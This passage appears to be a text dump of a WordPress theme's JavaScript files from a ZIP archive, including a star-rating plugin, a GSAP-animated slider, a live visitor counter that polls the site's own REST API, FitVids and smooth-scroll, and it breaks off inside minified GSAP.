        integer = Math.ceil(score),
        group   = this.opt.hints[(integer || 1) - 1],
        hint    = group,
        set     = !evt || this.move;

      if (this.opt.precision) {
        if (set) {
          decimal = decimal === 0 ? 9 : decimal - 1;
        }

        hint = group[decimal];
      } else if (this.opt.halfShow || this.opt.half) {
        decimal = set && decimal === 0 ? 1 : decimal > 5 ? 1 : 0;

        hint = group[decimal];
      }

      return hint === '' ? '' : hint || score;
    },

    _getWidth: function() {
      var width = this.stars[0].width || parseFloat(this.stars.eq(0).css('font-size'));

      if (!width) {
        methods._error.call(this, 'Could not get the icon width!');
      }

      return width;
    },

    _lock: function() {
      var hint = methods._getHint.call(this, this.score.val());

      this.style.cursor = '';
      this.title        = hint;

      this.score.prop('readonly', true);
      this.stars.prop('title', hint);

      if (this.cancel) {
        this.cancel.hide();
      }

      this.self.data('readonly', true);
    },

    _nameForIndex: function(i) {
      return this.opt.score && this.opt.score >= i ? 'starOn' : 'starOff';
    },

    _resetTitle: function(star) {
      for (var i = 0; i < this.opt.number; i++) {
        this.stars[i].title = methods._getHint.call(this, i + 1);
      }
    },

     _roundHalfScore: function(score) {
      var integer = parseInt(score, 10),
          decimal = methods._getFirstDecimal.call(this, score);

      if (decimal !== 0) {
        decimal = decimal > 5 ? 1 : 0.5;
      }

      return integer + decimal;
    },

    _roundStars: function(score, evt) {
      var
        decimal = (score % 1).toFixed(2),
        name    ;

      if (evt || this.move) {
        name = decimal > 0.5 ? 'starOn' : 'starHalf';
      } else if (decimal > this.opt.round.down) {               // Up:   [x.76 .. x.99]
        name = 'starOn';

        if (this.opt.halfShow && decimal < this.opt.round.up) { // Half: [x.26 .. x.75]
          name = 'starHalf';
        } else if (decimal < this.opt.round.full) {             // Down: [x.00 .. x.5]
          name = 'starOff';
        }
      }

      if (name) {
        var
          icon = this.opt[name],
          star = this.stars[Math.ceil(score) - 1];

        methods._setIcon.call(this, star, icon);
      }                                                         // Full down: [x.00 .. x.25]
    },

    _setIcon: function(star, icon) {
      star[this.opt.starType === 'img' ? 'src' : 'className'] = this.opt.path + icon;
    },

    _setTarget: function(target, score) {
      if (score) {
        score = this.opt.targetFormat.toString().replace('{score}', score);
      }

      if (target.is(':input')) {
        target.val(score);
      } else {
        target.html(score);
      }
    },

    _setTitle: function(score, evt) {
      if (score) {
        var
          integer = parseInt(Math.ceil(score), 10),
          star    = this.stars[integer - 1];

        star.title = methods._getHint.call(this, score, evt);
      }
    },

    _target: function(score, evt) {
      if (this.opt.target) {
        var target = $(this.opt.target);

        if (!target.length) {
          methods._error.call(this, 'Target selector invalid or missing!');
        }

        var mouseover = evt && evt.type === 'mouseover';

        if (score === undefined) {
          score = this.opt.targetText;
        } else if (score === null) {
          score = mouseover ? this.opt.cancelHint : this.opt.targetText;
        } else {
          if (this.opt.targetType === 'hint') {
            score = methods._getHint.call(this, score, evt);
          } else if (this.opt.precision) {
            score = parseFloat(score).toFixed(1);
          }

          var mousemove = evt && evt.type === 'mousemove';

          if (!mouseover && !mousemove && !this.opt.targetKeep) {
            score = this.opt.targetText;
          }
        }

        methods._setTarget.call(this, target, score);
      }
    },

    _turnOn: function(i, score) {
      return this.opt.single ? (i === score) : (i <= score);
    },

    _unlock: function() {
      this.style.cursor = 'pointer';
      this.removeAttribute('title');

      this.score.removeAttr('readonly');

      this.self.data('readonly', false);

      for (var i = 0; i < this.opt.number; i++) {
        this.stars[i].title = methods._getHint.call(this, i + 1);
      }

      if (this.cancel) {
        this.cancel.css('display', '');
      }
    },

    cancel: function(click) {
      return this.each(function() {
        var self = $(this);

        if (self.data('readonly') !== true) {
          methods[click ? 'click' : 'score'].call(self, null);

          this.score.removeAttr('value');
        }
      });
    },

    click: function(score) {
      return this.each(function() {
        if ($(this).data('readonly') !== true) {
          score = methods._adjustedScore.call(this, score);

          methods._apply.call(this, score);

          if (this.opt.click) {
            this.opt.click.call(this, score, $.Event('click'));
          }

          methods._target.call(this, score);
        }
      });
    },

    destroy: function() {
      return this.each(function() {
        var self = $(this),
            raw  = self.data('raw');

        if (raw) {
          self.off('.raty').empty().css({ cursor: raw.style.cursor }).removeData('readonly');
        } else {
          self.data('raw', self.clone()[0]);
        }
      });
    },

    getScore: function() {
      var score = [],
          value ;

      this.each(function() {
        value = this.score.val();

        score.push(value ? +value : undefined);
      });

      return (score.length > 1) ? score : score[0];
    },

    move: function(score) {
      return this.each(function() {
        var
          integer  = parseInt(score, 10),
          decimal  = methods._getFirstDecimal.call(this, score);

        if (integer >= this.opt.number) {
          integer = this.opt.number - 1;
          decimal = 10;
        }

        var
          width   = methods._getWidth.call(this),
          steps   = width / 10,
          star    = $(this.stars[integer]),
          percent = star.offset().left + steps * decimal,
          evt     = $.Event('mousemove', { pageX: percent });

        this.move = true;

        star.trigger(evt);

        this.move = false;
      });
    },

    readOnly: function(readonly) {
      return this.each(function() {
        var self = $(this);

        if (self.data('readonly') !== readonly) {
          if (readonly) {
            self.off('.raty').children('img').off('.raty');

            methods._lock.call(this);
          } else {
            methods._binds.call(this);
            methods._unlock.call(this);
          }

          self.data('readonly', readonly);
        }
      });
    },

    reload: function() {
      return methods.set.call(this, {});
    },

    score: function() {
      var self = $(this);

      return arguments.length ? methods.setScore.apply(self, arguments) : methods.getScore.call(self);
    },

    set: function(options) {
      return this.each(function() {
        $(this).raty($.extend({}, this.opt, options));
      });
    },

    setScore: function(score) {
      return this.each(function() {
        if ($(this).data('readonly') !== true) {
          score = methods._adjustedScore.call(this, score);

          methods._apply.call(this, score);
          methods._target.call(this, score);
        }
      });
    }
  };

  $.fn.raty = function(method) {
    if (methods[method]) {
      return methods[method].apply(this, Array.prototype.slice.call(arguments, 1));
    } else if (typeof method === 'object' || !method) {
      return methods.init.apply(this, arguments);
    } else {
      $.error('Method ' + method + ' does not exist!');
    }
  };

  $.fn.raty.defaults = {
    cancel       : false,
    cancelClass  : 'raty-cancel',
    cancelHint   : 'Cancel this rating!',
    cancelOff    : 'cancel-off.png',
    cancelOn     : 'cancel-on.png',
    cancelPlace  : 'left',
    click        : undefined,
    half         : false,
    halfShow     : true,
    hints        : ['bad', 'poor', 'regular', 'good', 'gorgeous'],
    iconRange    : undefined,
    mouseout     : undefined,
    mouseover    : undefined,
    noRatedMsg   : 'Not rated yet!',
    number       : 5,
    numberMax    : 20,
    path         : undefined,
    precision    : false,
    readOnly     : false,
    round        : { down: 0.25, full: 0.6, up: 0.76 },
    score        : undefined,
    scoreName    : 'score',
    single       : false,
    space        : true,
    starHalf     : 'star-half.png',
    starOff      : 'star-off.png',
    starOn       : 'star-on.png',
    starType     : 'img',
    target       : undefined,
    targetFormat : '{score}',
    targetKeep   : false,
    targetScore  : undefined,
    targetText   : '',
    targetType   : 'hint'
  };

})(jQuery);
PK     N\	]Go  o  
  js/ff40.jsnu [        jQuery( document ).ready( function ( $ ) {

	'use strict'
	var PENCI = PENCI || {}

	PENCI.owl_slider_40 = function () {

		const swiper_thumb = new Swiper( '.nav-thumb-creative', {
			rewind: true,
			slidesPerView: 'auto',
			slideActiveClass: 'active',
			watchSlidesProgress: true,
			on: {
				init: function () {
					$( '.nav-thumb-creative' ).addClass( 'penci-owl-loaded' )
				},
				afterInit: function () {
					$( '.nav-thumb-creative' ).addClass( 'penci-featured-loaded' )
				},
			},
			navigation: {
				nextEl: '.next-button',
				prevEl: '.prev-button',
			},
		} )

		var slider = jQuery( '.slider-40-wrapper' ).first()
		var mainwrap = slider.closest('.no-df-swiper')
		var relitemlist = slider.find( '.list-slider-creative' ).first()
		var currentslide = 0
		var goToSlide = function ( newslide ) {
			if ( slider.hasClass( 'loading' ) ) {
				return
			}
			var oldslide = currentslide
			currentslide = newslide
			if ( currentslide >= slider.find( '.item-bg-slider-40' ).length ) {
				currentslide = 0
			} else if ( currentslide < 0 ) {
				currentslide = slider.find( '.item-bg-slider-40' ).length - 1
			}
			if ( currentslide == oldslide ) {
				return
			}

			var duration = 0.8
			slider.addClass( 'loading' )
			var currentbg = jQuery( slider.find( '.item-bg-slider-40' ) [currentslide] )
			var oldbg = jQuery( slider.find( '.item-bg-slider-40' ) [oldslide] )
			var currentbgcontent = jQuery(
				slider.find( '.item-bg-slider-40-content' ) [currentslide] )
			var oldbgcontent = jQuery(
				slider.find( '.item-bg-slider-40-content' ) [oldslide] )
			var currentitem = jQuery(
				slider.find( '.item-slider-creative' ) [currentslide] )
			var olditem = jQuery( slider.find( '.item-slider-creative' ) [oldslide] )
			var currentitemcontent = currentitem.find( '.content-item-creative' )
			var olditemcontent = olditem.find( '.content-item-creative' )
			var currentitemimg = currentitem.find( '.img-container' )
			var olditemimg = olditem.find( '.img-container' )
			slider.find( '.content-item-creative' ).css( {
				'width': relitemlist.width(),
			} )
			slider.find( '.item-bg-slider-40-content' ).css( {
				'width': slider.width(),
			} )
			swiper_thumb.slideTo( currentslide )
			slider.find( '.nav-thumb-creative .swiper-slide' ).removeClass( 'active' )
			jQuery( slider.find( '.nav-thumb-creative .swiper-slide' ) [currentslide] ).addClass( 'active' )
			slider.find( '.item-bg-slider-40, .item-slider-creative' ).css( {
				'z-index': 5,
			} )
			currentbg.css( {
				'z-index': 10,
			} )
			currentitem.css( {
				'z-index': 10,
			} )
			oldbg.css( {
				'z-index': 8,
			} )
			olditem.css( {
				'z-index': 8,
			} )
			var resetCss = function () {
				currentbg.css( {
					'z-index': 12,
				} )
				currentitem.css( {
					'z-index': 12,
				} )
				slider.find( '.item-bg-slider-40-content, .content-item-creative' ).css( {
					'width': 'auto',
					'left': 0,
					'right': 0,
				} )
				slider.find( '.item-bg-slider-40, .item-slider-creative' ).css( {
					'width': 'auto',
					'left': 0,
					'right': 0,
				} )
				slider.removeClass( 'loading' )
			}
			slider.find( '.item-bg-slider-40' )
			if ( currentslide < oldslide ) {
				currentbg.css( {
					'width': '0',
					'left': 'auto',
					'right': 0,
				} )
				currentbgcontent.css( {
					'right': 0,
					'left': 'auto',
				} )
				currentitem.css( {
					'width': '0',
					'left': 0,
					'right': 'auto',
				} )
				currentitemcontent.css( {
					'right': 'auto',
					'left': 0,
				} )
			} else {
				currentbg.css( {
					'width': '0',
					'left': 0,
					'right': 'auto',
				} )
				currentbgcontent.css( {
					'right': 'auto',
					'left': 0,
				} )
				currentitem.css( {
					'width': '0',
					'left': 'auto',
					'right': 0,
				} )
				currentitemcontent.css( {
					'right': 0,
					'left': 'auto',
				} )
			}
			TweenMax.fromTo(
				currentbg,
				duration,
				{
					width: 0,
					force3D: true,
					throwProps: false,
					ease: Cubic.easeInOut,
				},
				{
					width: slider.width(),
				},
			)
			TweenMax.fromTo(
				currentbgcontent,
				duration,
				{
					scale: 1,
					force3D: true,
					throwProps: false,
					ease: Cubic.easeInOut,
				},
				{
					scale: 1.1,
				},
			)
			TweenMax.to(
				oldbgcontent,
				duration,
				{
					scale: 1,
					force3D: true,
					throwProps: false,
					ease: Cubic.easeInOut,
				},
			)
			TweenMax.fromTo(
				currentitem,
				duration,
				{
					width: 0,
					force3D: true,
					throwProps: false,
					ease: Cubic.easeInOut,
				},
				{
					width: relitemlist.width(),
					onComplete: function () {
						resetCss()
					},
				},
			)
			TweenMax.fromTo(
				currentitemimg,
				duration,
				{
					scale: 1,
					force3D: true,
					throwProps: false,
					ease: Cubic.easeIn,
				},
				{
					scale: 1.1,
				},
			)
			TweenMax.to(
				olditemimg,
				duration,
				{
					scale: 1,
					force3D: true,
					throwProps: false,
					ease: Cubic.easeOut,
				},
			)
		}
		TweenMax.set(
			jQuery( slider.find( '.img-container' ) [currentslide] ),
			{
				scale: 1.1,
			},
		)

		

		slider.find( '.nav-thumb-creative .swiper-slide' ).each(
			function ( i ) {
				var btn = jQuery( this )
				
				
				btn.on( 'click', function () {
					goToSlide( i )

					$( '.nav-thumb-creative .swiper-slide' ).removeClass( 'active' )
					btn.addClass( 'active' )
					
					return false
				} )
			},
		)
		slider.find( '.nav-slider-button' ).each(
			function () {
				var btn = jQuery( this ),
					prevs,
					nexts
				btn.on(
					'click',
					function () {
						var slideto
						if ( btn.hasClass( 'prev-button' ) ) {
							slideto = currentslide - 1
							goToSlide( slideto )
						} else {
							slideto = currentslide + 1
							goToSlide( slideto )
						}
					
						return false
					},
				)
			},
		)

		if ( mainwrap.attr('data-auto') === 'true' ) {
			
			var timeout = mainwrap.attr('data-autotime')

			function slidetoslide() {
				var slideto
					slideto = currentslide + 1
					goToSlide( slideto )

			}

			var intervalId = setInterval(slidetoslide, timeout);

			// Pause interval on mouse enter
			$('.featured-style-40').mouseenter(function() {
				clearInterval(intervalId);
			});

			// Resume interval on mouse leave
			$('.featured-style-40').mouseleave(function() {
				intervalId = setInterval(slidetoslide, timeout);
			});
		}

		
	}

	PENCI.owl_slider_40()

	$( 'body' ).on( 'penci_swiper_sliders', function () {
		PENCI.owl_slider_40()
	} )
} )PK     N\#      js/live-visitor.jsnu [        document.addEventListener('DOMContentLoaded', function () {
    const postId = penci_live_visitor.post_id;
    const objectLabel = penci_live_visitor.object_label;
    const singularTemplate = penci_live_visitor.singular_text;
    const pluralTemplate = penci_live_visitor.plural_text;

    const visitorCounter = document.getElementById('visitor-count');

    if (!visitorCounter) {
        return;
    }

    function formatText(count) {
        if (count === 1) {
            return singularTemplate.replace('{object}', objectLabel);
        } else {
            return pluralTemplate.replace('{view}', count).replace('{object}', objectLabel);
        }
    }

    function pingServer() {
        fetch(`/wp-json/livevisitor/v1/update/${postId}`, { method: 'POST' }).catch(() => {});
    }

    function fetchCount() {
        fetch(`/wp-json/livevisitor/v1/count/${postId}`)
            .then(res => res.json())
            .then(data => {
                const count = parseInt(data.count, 10) || 0;

                if (count > 0) {
                    visitorCounter.classList.add('active');
                    visitorCounter.innerText = formatText(count);
                } else {
                    visitorCounter.classList.remove('active');
                    visitorCounter.innerText = '';
                }
            })
            .catch(() => {});
    }

    // Initial update & count fetch
    pingServer();
    fetchCount();

    // Update every 20 seconds
    setInterval(pingServer, 20000);
    setInterval(fetchCount, 10000);
});PK     N\y>Mr  r    js/fitvids.jsnu [        /*jshint browser:true */
/*!
* FitVids 1.1
*
* Copyright 2013, Chris Coyier - http://css-tricks.com + Dave Rupert - http://daverupert.com
* Credit to Thierry Koblentz - http://www.alistapart.com/articles/creating-intrinsic-ratios-for-video/
* Released under the WTFPL license - http://sam.zoy.org/wtfpl/
*
*/

;(function( $ ){

  'use strict';

  $.fn.fitVids = function( options ) {
    var settings = {
      customSelector: null,
      ignore: null
    };

    if(!document.getElementById('fit-vids-style')) {
      // appendStyles: https://github.com/toddmotto/fluidvids/blob/master/dist/fluidvids.js
      var head = document.head || document.getElementsByTagName('head')[0];
      var css = '.fluid-width-video-wrapper{width:100%;position:relative;padding:0;}.fluid-width-video-wrapper iframe,.fluid-width-video-wrapper object,.fluid-width-video-wrapper embed {position:absolute;top:0;left:0;width:100%;height:100%;}';
      var div = document.createElement("div");
      div.innerHTML = '<p>x</p><style id="fit-vids-style">' + css + '</style>';
      head.appendChild(div.childNodes[1]);
    }

    if ( options ) {
      $.extend( settings, options );
    }

    return this.each(function(){
      var selectors = [
        'iframe[data-src*="player.vimeo.com"]',
        'iframe[data-src*="youtube.com"]',
        'iframe[data-src*="youtube-nocookie.com"]',
		'iframe[data-src*="player.twitch.tv"]',
		'iframe[data-src*="maps.google.com"]',
		'iframe[data-src*="google.com/maps"]',
		'iframe[data-src*="dailymotion.com"]',
		'iframe[data-src*="twitter.com/i/videos"]',
		'iframe[src*="player.vimeo.com"]',
        'iframe[src*="youtube.com"]',
        'iframe[src*="youtube-nocookie.com"]',
		'iframe[src*="player.twitch.tv"]',
		'iframe[src*="maps.google.com"]',
		'iframe[src*="google.com/maps"]',
		'iframe[src*="dailymotion.com"]',
		'iframe[src*="twitter.com/i/videos"]',
        'object',
        'embed'
      ];

      if (settings.customSelector) {
        selectors.push(settings.customSelector);
      }

      var ignoreList = '.fitvidsignore';

      if(settings.ignore) {
        ignoreList = ignoreList + ', ' + settings.ignore;
      }

      var $allVideos = $(this).find(selectors.join(','));
      $allVideos = $allVideos.not('object object'); // SwfObj conflict patch
      $allVideos = $allVideos.not(ignoreList); // Disable FitVids on this video.

      $allVideos.each(function(){
        var $this = $(this);
        if($this.parents(ignoreList).length > 0) {
          return; // Disable FitVids on this video.
        }
		if( typeof $this.data('src') !== 'undefined' ){
			$this.attr( 'src', $this.data('src') );
			$this.removeAttr( "data-src" );
		}
        if (this.tagName.toLowerCase() === 'embed' && $this.parent('object').length || $this.parent('.fluid-width-video-wrapper').length) { return; }
        if ((!$this.css('height') && !$this.css('width')) && (isNaN($this.attr('height')) || isNaN($this.attr('width'))))
        {
          $this.attr('height', 9);
          $this.attr('width', 16);
        }
        var height = ( this.tagName.toLowerCase() === 'object' || ($this.attr('height') && !isNaN(parseInt($this.attr('height'), 10))) ) ? parseInt($this.attr('height'), 10) : $this.height(),
            width = !isNaN(parseInt($this.attr('width'), 10)) ? parseInt($this.attr('width'), 10) : $this.width(),
            aspectRatio = height / width;
        if(!$this.attr('name')){
          var videoName = 'fitvid' + $.fn.fitVids._count;
          $this.attr('name', videoName);
          $.fn.fitVids._count++;
        }
        $this.wrap('<div class="fluid-width-video-wrapper"></div>').parent('.fluid-width-video-wrapper').css('padding-top', (aspectRatio * 100)+'%');
        $this.removeAttr('height').removeAttr('width');
      });
    });
  };
  
  // Internal counter for unique video names.
  $.fn.fitVids._count = 0;
  
// Works with either jQuery or Zepto
})( window.jQuery || window.Zepto );PK     N\λ'      js/smooth-scroll.min.jsnu [        !function($){var version="2.2.0",optionOverrides={},defaults={exclude:[],excludeWithin:[],offset:0,direction:"top",delegateSelector:null,scrollElement:null,scrollTarget:null,autoFocus:!1,beforeScroll:function(){},afterScroll:function(){},easing:"swing",speed:400,autoCoefficient:2,preventDefault:!0},getScrollable=function(opts){var scrollable=[],scrolled=!1,dir=opts.dir&&"left"===opts.dir?"scrollLeft":"scrollTop";return this.each((function(){var el=$(this);if(this!==document&&this!==window)return!document.scrollingElement||this!==document.documentElement&&this!==document.body?void(el[dir]()>0?scrollable.push(this):(el[dir](1),(scrolled=el[dir]()>0)&&scrollable.push(this),el[dir](0))):(scrollable.push(document.scrollingElement),!1)})),scrollable.length||this.each((function(){this===document.documentElement&&"smooth"===$(this).css("scrollBehavior")&&(scrollable=[this]),scrollable.length||"BODY"!==this.nodeName||(scrollable=[this])})),"first"===opts.el&&scrollable.length>1&&(scrollable=[scrollable[0]]),scrollable},rRelative=/^([\-\+]=)(\d+)/;$.fn.extend({scrollable:function(dir){var scrl=getScrollable.call(this,{dir:dir});return this.pushStack(scrl)},firstScrollable:function(dir){var scrl=getScrollable.call(this,{el:"first",dir:dir});return this.pushStack(scrl)},smoothScroll:function(options,extra){if("options"===(options=options||{}))return extra?this.each((function(){var $this=$(this),opts=$.extend($this.data("ssOpts")||{},extra);$(this).data("ssOpts",opts)})):this.first().data("ssOpts");var opts=$.extend({},$.fn.smoothScroll.defaults,options),clickHandler=function(event){var escapeSelector=function(str){return str.replace(/(:|\.|\/)/g,"\\$1")},link=this,$link=$(this),thisOpts=$.extend({},opts,$link.data("ssOpts")||{}),exclude=opts.exclude,excludeWithin=thisOpts.excludeWithin,elCounter=0,ewlCounter=0,include=!0,clickOpts={},locationPath=$.smoothScroll.filterPath(location.pathname),linkPath=$.smoothScroll.filterPath(this.pathname),hostMatch=location.hostname===this.hostname||!this.hostname,pathMatch=thisOpts.scrollTarget||linkPath===locationPath,thisHash=escapeSelector(this.hash);if(thisHash&&!$(thisHash).length&&(include=!1),thisOpts.scrollTarget||hostMatch&&pathMatch&&thisHash){for(;include&&elCounter<exclude.length;)$link.is(escapeSelector(exclude[elCounter++]))&&(include=!1);for(;include&&ewlCounter<excludeWithin.length;)$link.closest(excludeWithin[ewlCounter++]).length&&(include=!1)}else include=!1;include&&(thisOpts.preventDefault&&event.preventDefault(),$.extend(clickOpts,thisOpts,{scrollTarget:thisOpts.scrollTarget||thisHash,link:this}),$.smoothScroll(clickOpts))};return null!==options.delegateSelector?this.off("click.smoothscroll",options.delegateSelector).on("click.smoothscroll",options.delegateSelector,clickHandler):this.off("click.smoothscroll").on("click.smoothscroll",clickHandler),this}});var getExplicitOffset=function(val){var explicit={relative:""},parts="string"==typeof val&&rRelative.exec(val);return"number"==typeof val?explicit.px=val:parts&&(explicit.relative=parts[1],explicit.px=parseFloat(parts[2])||0),explicit},onAfterScroll=function(opts){var $tgt=$(opts.scrollTarget);opts.autoFocus&&$tgt.length&&($tgt[0].focus(),$tgt.is(document.activeElement)||($tgt.prop({tabIndex:-1}),$tgt[0].focus())),opts.afterScroll.call(opts.link,opts)};$.smoothScroll=function(options,px){if("options"===options&&"object"==typeof px)return $.extend(optionOverrides,px);var opts,$scroller,speed,delta,explicitOffset=getExplicitOffset(options),scrollTargetOffset={},scrollerOffset=0,offPos="offset",scrollDir="scrollTop",aniProps={},aniOpts={};explicitOffset.px?opts=$.extend({link:null},$.fn.smoothScroll.defaults,optionOverrides):((opts=$.extend({link:null},$.fn.smoothScroll.defaults,options||{},optionOverrides)).scrollElement&&(offPos="position","static"===opts.scrollElement.css("position")&&opts.scrollElement.css("position","relative")),px&&(explicitOffset=getExplicitOffset(px))),scrollDir="left"===opts.direction?"scrollLeft":scrollDir,opts.scrollElement?($scroller=opts.scrollElement,explicitOffset.px||/^(?:HTML|BODY)$/.test($scroller[0].nodeName)||(scrollerOffset=$scroller[scrollDir]())):$scroller=$("html, body").firstScrollable(opts.direction),opts.beforeScroll.call($scroller,opts),scrollTargetOffset=explicitOffset.px?explicitOffset:{relative:"",px:$(opts.scrollTarget)[offPos]()&&$(opts.scrollTarget)[offPos]()[opts.direction]||0},aniProps[scrollDir]=scrollTargetOffset.relative+(scrollTargetOffset.px+scrollerOffset+opts.offset),"auto"===(speed=opts.speed)&&(speed=(delta=Math.abs(aniProps[scrollDir]-$scroller[scrollDir]()))/opts.autoCoefficient),aniOpts={duration:speed,easing:opts.easing,complete:function(){onAfterScroll(opts)}},opts.step&&(aniOpts.step=opts.step),$scroller.length?$scroller.stop().animate(aniProps,aniOpts):onAfterScroll(opts)},$.smoothScroll.version="2.2.0",$.smoothScroll.filterPath=function(string){return(string=string||"").replace(/^\//,"").replace(/(?:index|default).[a-zA-Z]{3,4}$/,"").replace(/\/$/,"")},$.fn.smoothScroll.defaults=defaults}(jQuery);
PK     N\~` `   js/gsap.min.jsnu [        /*!
 * GSAP 3.12.2
 * https://greensock.com
 * 
 * @license Copyright 2023, GreenSock. All rights reserved.
 * Subject to the terms at https://greensock.com/standard-license or for Club GreenSock members, the agreement issued with that membership.
 * @author: Jack Doyle, jack@greensock.com
 */

!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t=t||self).window=t.window||{})}(this,function(e){"use strict";function _inheritsLoose(t,e){t.prototype=Object.create(e.prototype),(t.prototype.constructor=t).__proto__=e}function _assertThisInitialized(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function r(t){return"string"==typeof t}function s(t){return"function"==typeof t}function t(t){return"number"==typeof t}function u(t){return void 0===t}function v(t){return"object"==typeof t}function w(t){return!1!==t}function x(){return"undefined"!=typeof window}function y(t){return s(t)||r(t)}function P(t){return(i=yt(t,ot))&&Ee}function Q(t,e){return console.warn("Invalid property",t,"set to",e,"Missing plugin? gsap.registerPlugin()")}function R(t,e){return!e&&console.warn(t)}function S(t,e){return t&&(ot[t]=e)&&i&&(i[t]=e)||ot}function T(){return 0}function ea(t){var e,r,i=t[0];if(v(i)||s(i)||(t=[t]),!(e=(i._gsap||{}).harness)){for(r=gt.length;r--&&!gt[r].targetTest(i););e=gt[r]}for(r=t.length;r--;)t[r]&&(t[r]._gsap||(t[r]._gsap=new Vt(t[r],e)))||t.splice(r,1);return t}function fa(t){return t._gsap||ea(Ot(t))[0]._gsap}function ga(t,e,r){return(r=t[e])&&s(r)?t[e]():u(r)&&t.getAttribute&&t.getAttribute(e)||r}function ha(t,e){return(t=t.split(",")).forEach(e)||t}function ia(t){return Math.round(1e5*t)/1e5||0}function ja(t){return Math.round(1e7*t)/1e7||0}function ka(t,e){var r=e.charAt(0),i=parseFloat(e.substr(2));return t=parseFloat(t),"+"===r?t+i:"-"===r?t-i:"*"===r?t*i:t/i}function la(t,e){for(var r=e.length,i=0;t.indexOf(e[i])<0&&++i<r;);return i<r}function ma(){var t,e,r=ct.length,i=ct.slice(0);for(dt={},t=ct.length=0;t<r;t++)(e=i[t])&&e._lazy&&(e.render(e._lazy[0],e._lazy[1],!0)._lazy=0)}function na(t,e,r,i){ct.length&&!L&&ma(),t.render(e,r,i||L&&e<0&&(t._initted||t._startAt)),ct.length&&!L&&ma()}function oa(t){var e=parseFloat(t);return(e||0===e)&&(t+"").match(at).length<2?e:r(t)?t.trim():t}function pa(t){return t}function qa(t,e){for(var r in e)r in t||(t[r]=e[r]);return t}function ta(t,e){for(var r in e)"__proto__"!==r&&"constructor"!==r&&"prototype"!==r&&(t[r]=v(e[r])?ta(t[r]||(t[r]={}),e[r]):e[r]);return t}function ua(t,e){var r,i={};for(r in t)r in e||(i[r]=t[r]);return i}function va(t){var e=t.parent||I,r=t.keyframes?function _setKeyframeDefaults(i){return function(t,e){for(var r in e)r in t||"duration"===r&&i||"ease"===r||(t[r]=e[r])}}($(t.keyframes)):qa;if(w(t.inherit))for(;e;)r(t,e.vars.defaults),e=e.parent||e._dp;return t}function xa(t,e,r,i,n){void 0===r&&(r="_first"),void 0===i&&(i="_last");var a,s=t[i];if(n)for(a=e[n];s&&s[n]>a;)s=s._prev;return s?(e._next=s._next,s._next=e):(e._next=t[r],t[r]=e),e._next?e._next._prev=e:t[i]=e,e._prev=s,e.parent=e._dp=t,e}function ya(t,e,r,i){void 0===r&&(r="_first"),void 0===i&&(i="_last");var n=e._prev,a=e._next;n?n._next=a:t[r]===e&&(t[r]=a),a?a._prev=n:t[i]===e&&(t[i]=n),e._next=e._prev=e.parent=null}function za(t,e){t.parent&&(!e||t.parent.autoRemoveChildren)&&t.parent.remove&&t.parent.remove(t),t._act=0}function Aa(t,e){if(t&&(!e||e._end>t._dur||e._start<0))for(var r=t;r;)r._dirty=1,r=r.parent;return t}function Ca(t,e,r,i){return t._startAt&&(L?t._startAt.revert(ht):t.vars.immediateRender&&!t.vars.autoRevert||t._startAt.render(e,!0,i))}function Ea(t){return t._repeat?Tt(t._tTime,t=t.duration()+t._rDelay)*t:0}function Ga(t,e){return(t-e._start)*e._ts+(0<=e._ts?0:e._dirty?e.totalDuration():e._tDur)}function Ha(t){return t._end=ja(t._start+(t._tDur/Math.abs(t._ts||t._rts||X)||0))}function Ia(t,e){var r=t._dp;return r&&r.smoothChildTiming&&t._ts&&(t._start=ja(r._time-(0<t._ts?e/t._ts:((t._dirty?t.totalDuration():t._tDur)-e)/-t._ts)),Ha(t),r._dirty||Aa(r,t)),t}function Ja(t,e){var r;if((e._time||!e._dur&&e._initted||e._start<t._time&&(e._dur||!e.add))&&(r=Ga(t.rawTime(),e),(!e._dur||kt(0,e.totalDuration(),r)-e._tTime>X)&&e.render(r,!0)),Aa(t,e)._dp&&t._initted&&t._time>=t._dur&&t._ts){if(t._dur<t.duration())for(r=t;r._dp;)0<=r.rawTime()&&r.totalTime(r._tTime),r=r._dp;t._zTime=-X}}function Ka(e,r,i,n){return r.parent&&za(r),r._start=ja((t(i)?i:i||e!==I?xt(e,i,r):e._time)+r._delay),r._end=ja(r._start+(r.totalDuration()/Math.abs(r.timeScale())||0)),xa(e,r,"_first","_last",e._sort?"_start":0),bt(r)||(e._recent=r),n||Ja(e,r),e._ts<0&&Ia(e,e._tTime),e}function La(t,e){return(ot.ScrollTrigger||Q("scrollTrigger",e))&&ot.ScrollTrigger.create(e,t)}function Ma(t,e,r,i,n){return Gt(t,e,n),t._initted?!r&&t._pt&&!L&&(t._dur&&!1!==t.vars.lazy||!t._dur&&t.vars.lazy)&&f!==Rt.frame?(ct.push(t),t._lazy=[n,i],1):void 0:1}function Ra(t,e,r,i){var n=t._repeat,a=ja(e)||0,s=t._tTime/t._tDur;return s&&!i&&(t._time*=a/t._dur),t._dur=a,t._tDur=n?n<0?1e10:ja(a*(n+1)+t._rDelay*n):a,0<s&&!i&&Ia(t,t._tTime=t._tDur*s),t.parent&&Ha(t),r||Aa(t.parent,t),t}function Sa(t){return t instanceof Xt?Aa(t):Ra(t,t._dur)}function Va(e,r,i){var n,a,s=t(r[1]),o=(s?2:1)+(e<2?0:1),u=r[o];if(s&&(u.duration=r[1]),u.parent=i,e){for(n=u,a=i;a&&!("immediateRender"in n);)n=a.vars.defaults||{},a=w(a.vars.inherit)&&a.parent;u.immediateRender=w(n.immediateRender),e<2?u.runBackwards=1:u.startAt=r[o-1]}return new Zt(r[0],u,r[1+o])}function Wa(t,e){return t||0===t?e(t):e}function Ya(t,e){return r(t)&&(e=st.exec(t))?e[1]:""}function _a(t,e){return t&&v(t)&&"length"in t&&(!e&&!t.length||t.length-1 in t&&v(t[0]))&&!t.nodeType&&t!==h}function cb(r){return r=Ot(r)[0]||R("Invalid scope")||{},function(t){var e=r.current||r.nativeElement||r;return Ot(t,e.querySelectorAll?e:e===r?R("Invalid scope")||a.createElement("div"):r)}}function db(t){return t.sort(function(){return.5-Math.random()})}function eb(t){if(s(t))return t;var p=v(t)?t:{each:t},_=jt(p.ease),m=p.from||0,g=parseFloat(p.base)||0,y={},e=0<m&&m<1,T=isNaN(m)||e,b=p.axis,w=m,x=m;return r(m)?w=x={center:.5,edges:.5,end:1}[m]||0:!e&&T&&(w=m[0],x=m[1]),function(t,e,r){var 